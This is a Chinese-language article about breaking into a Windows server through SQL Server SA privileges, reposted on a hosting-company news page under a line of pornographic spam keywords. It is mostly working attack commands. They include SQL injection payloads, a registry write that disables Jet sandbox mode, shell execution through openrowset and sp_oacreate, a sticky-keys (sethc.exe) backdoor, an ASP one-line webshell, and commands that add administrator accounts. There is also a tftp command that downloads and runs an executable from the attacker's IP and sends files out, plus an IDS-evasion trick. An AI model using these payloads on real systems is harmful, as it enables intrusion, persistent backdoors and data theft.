人妖在线一区,国产日韩欧美一区二区综合在线,国产啪精品视频网站免费,欧美内射深插日本少妇

新聞動態(tài)

一次SA權限入侵和小議SA提權

發(fā)布日期:2021-12-19 02:42 | 文章來源:源碼中國
來自草哲的blog

嘗試在NB里面恢復CMDSHELL、OACREAT都沒有成功,所以開啟SQLSERVERAGENT


;exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';--


  還是沒有成功,無奈之中希望寄托于沙盒模式,執(zhí)行如下語句開啟沙盒模式


;execmaster..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--


  回顯成功,進一步調用oledb執(zhí)行系統(tǒng)命令


and 0<>(select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd /c echo 1 >c:\1.txt")'))--


  回顯500,明顯出錯了,沙盒模式也暫且放下 既然可以寫注冊表,那一定可以讀注冊表,那先讀讀終端端口看看。

  是默認的3389但是我無法連接,或許是沒開終端服務,或許是防火墻屏蔽,不得而知,一定想知道我為什么要連接終端吧,下面看這段語句。


declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';



declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out
exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';


  大家一定記得最近很流行的SHIFT后吧,以上兩段語句就是利用FSO組件的讀寫權限替換粘拈鍵為桌面的啟動程序EXPLORER,如果替換成功那么執(zhí)行5次SHIFT后就可以直接執(zhí)行EXPLORER.EXE開啟桌面,但是連不上遠程這個方法也就不能用了。當然以上的命令需要OACREAT的支持,我也就是抱著僥幸的心理試試看。假設OACREAT沒有刪,我們還可以利用以下語句執(zhí)行系統(tǒng)命令。


;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jxsaqjh 1234 /add';--



;DECLARE @shell INT EXEC SP_OAcreate 'Shell.Application',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jxsaqjh 1234/add';--


  以上兩個語句也是利用OACREAT調用wscript.shell和Shell.Application組件執(zhí)行系統(tǒng)命令,但是在這里我們是用不了的,因為不僅OACREAT不在,就連那兩個危險組件管理也寫了個批處理卸了。

萬般無奈下嘗試lOG備分拿只SHELL,可是備分的頁面卻是404,很顯然這個SA沒有備分的權限,還能怎么做?看下面:


;exec sp_makewebtask 'd:\zjkdj\zjkdj\zjkds\bake.asp,' select ''<%execute(request("a"))%>'' ';--


  利用sp_makewebtask這個存儲過程寫個馬進去,很幸運這個過程是能用的,成功得到SHELL,本來想傳xplog70.dll上去恢復xp_cmdshell存儲過程,但是執(zhí)行恢復的時候發(fā)現這個過程是在的,然后在海洋里執(zhí)行CMDSHELL執(zhí)行系統(tǒng)命令,但是出現了這一句,

xpsql.cpp: 錯誤 2 來自 CreateProcess(第 737 行

  我暈啊,難道是CMD.EXE刪了?在NB里面列目錄查看SYSTEM32下的文件,果然沒有cmd.exe,這下終于真象大白了,原來不能執(zhí)行系統(tǒng)命令的原因是每個存儲過程都是調用系統(tǒng)的cmd.exe,既然沒有cmd.exe那還怎么執(zhí)行系統(tǒng)命令?管理還是下了辛苦的哦。

  整理下思路后我又想到了沙盒模式,因為啥盒模式調用的CMD不一定是系統(tǒng)自帶的,我們可以自己傳一個上去的,想到這里在WEB目錄下傳了個CMD.EXE然后在海洋里執(zhí)行如下語句


select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("d:\zjkdj\zjkdj\zjkds\cmd.exe /c net start>D:\zjkdj\zjkdj\zjkds\1.txt")')--


  立刻到站點目錄下找1.txt,但是沒有發(fā)現,看來只能調用系統(tǒng)自帶的程序了,無聊的在SYSTEM32下亂逛,突然發(fā)現了command.com這個程序,哈哈,總算看到希望了!這是什么?我來告訴你吧,它也是系統(tǒng)自帶的執(zhí)行系統(tǒng)命令的程序,和CMD.EXE的功能幾乎沒有區(qū)別,但是大小卻比CMD.EXE小幾十倍,既然不讓調用外部程序那我就調用內部程序,馬上就在海洋里修改好如下語句執(zhí)行。


select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("command.com /c net start>D:\zjkdj\zjkdj\zjkds\1.txt")')--


  調用command.com執(zhí)行系統(tǒng)命令,執(zhí)行完成后在站點目錄下總算找到了1.txt

  哈哈,總算看到希望了,打開1.txt看看服務器開了什么服務,但是我卻看到一片空白,這是什么原因?難道?還是確定一下比較好,立刻轉到SYSTEM32下查看文件,令我吃驚的是居然沒有看到NET.EXE,怪不得一片空白呢,系統(tǒng)根本沒有net.exe這個程序,自然是什么也看不到,郁悶,管理員不是一般的變態(tài)啊!

  不過沒有關系,windows系統(tǒng)中還有一個叫net1.exe的程序功能是和net.exe一樣的哦,我們來調用它執(zhí)行系統(tǒng)命令,語句如下


select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("command.com /c net1 start>D:\zjkdj\zjkdj\zjkds\1.txt")')--


  執(zhí)行完畢后再看1.txt

  哈哈,成功了,入侵到了這里也就沒有什么繼續(xù)的必要了,因為我們已經有了系統(tǒng)權限,想做什么都隨自己愿意了,收拾收拾在管理員的桌面上寫個提醒.txt告訴他漏洞所在,讓他盡快修補吧!

  最后總結一下,在先前以為是系統(tǒng)的存儲過程刪掉了,但是后來隨著入侵的深入才發(fā)現過程并沒有刪,只是每個存儲過程都必須調用cmd.exe所以不能執(zhí)行系統(tǒng)命令也是肯定的了,所以大家在入侵的時候一定要細心的分析整個過程,從中找出對自己有用的東西。

第二

一:命令簡介

[獲取全部數據庫名]


select name from master.dbo.sysdatabases where dbid=7 //dbid的值為7以上都是用戶數據庫


[獲得數據表名][將字段值更新為表名,再想法讀出這個字段的值就可得到表名]


select top 1 name from 數據庫名.dbo.sysobjects where xtype=’u’ and status>0 and name not in(’table’)


[獲得數據表字段名][將字段值更新為字段名,再想法讀出這個字段的值就可得到字段名]


select top 1 數據庫名.dbo.col_name(object_id(’要查詢的數據表名’),字段列如:1) [ where 條件]


通過SQLSERVER注入漏洞建數據庫管理員帳號和系統(tǒng)管理員帳號[當前帳號必須是SYSADMIN組]


news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //添加數據庫用戶用戶test,密碼為test
news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果想改密碼,則用這句(將test的密碼改為123456)
news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //將test加到sysadmin組,這個組的成員可執(zhí)行任何操作
news.asp?id=2;exec master.dbo.xp_cmdshell ’net user test test /add’;-- //添加系統(tǒng)用戶test,密碼為test
news.asp?id=2;exec master.dbo.xp_cmdshell ’net localgroup administrators test /add’;-- //將系統(tǒng)用戶test提升為管理員


這樣,你在他的數據庫和系統(tǒng)內都留下了test管理員賬號了

下面是如何從你的服器下載文件file.exe后運行它[前提是你必須將你的電腦設為TFTP服務器,將69端口打開]


id=2; exec master.dbo.xp_cmdshell ’tftp –i 你的IP get file.exe’;--


然后運行這個文件:


id=2; exec master.dbo.xp_cmdshell ’file.exe’;--


下載服務器的文件file2.doc到本地TFTP服務器[文件必須存在]:


id=2; exec master.dbo.xp_cmdshell ’tftp –i 你的IP Put file2.doc’;--


繞過IDS的檢測[使用變量]


declare @a sysname set @a=’xp_’ ’cmdshell’ exec @a ’dir c:\’
declare @a sysname set @a=’xp’ ’_cm’ ’dshell’ exec @a ’dir c:\’


新加的:
建一個表。只有一個字段,類型為image,將asp內容寫入。導出數據庫為文件


backup database dbname to disk=’d:\web\db.asp’;


報錯得到系統(tǒng)操作系統(tǒng)和數據庫系統(tǒng)版本號


id=2 and 1<>(select @@VERSION);

版權聲明:本站文章來源標注為YINGSOO的內容版權均為本站所有,歡迎引用、轉載,請保持原文完整并注明來源及原文鏈接。禁止復制或仿造本網站,禁止在非www.sddonglingsh.com所屬的服務器上建立鏡像,否則將依法追究法律責任。本站部分內容來源于網友推薦、互聯網收集整理而來,僅供學習參考,不代表本站立場,如有內容涉嫌侵權,請聯系alex-e#qq.com處理。

相關文章

實時開通

自選配置、實時開通

免備案

全球線路精選!

全天候客戶服務

7x24全年不間斷在線

專屬顧問服務

1對1客戶咨詢顧問

在線
客服

在線客服:7*24小時在線

客服
熱線

400-630-3752
7*24小時客服服務熱線

關注
微信

關注官方微信
頂部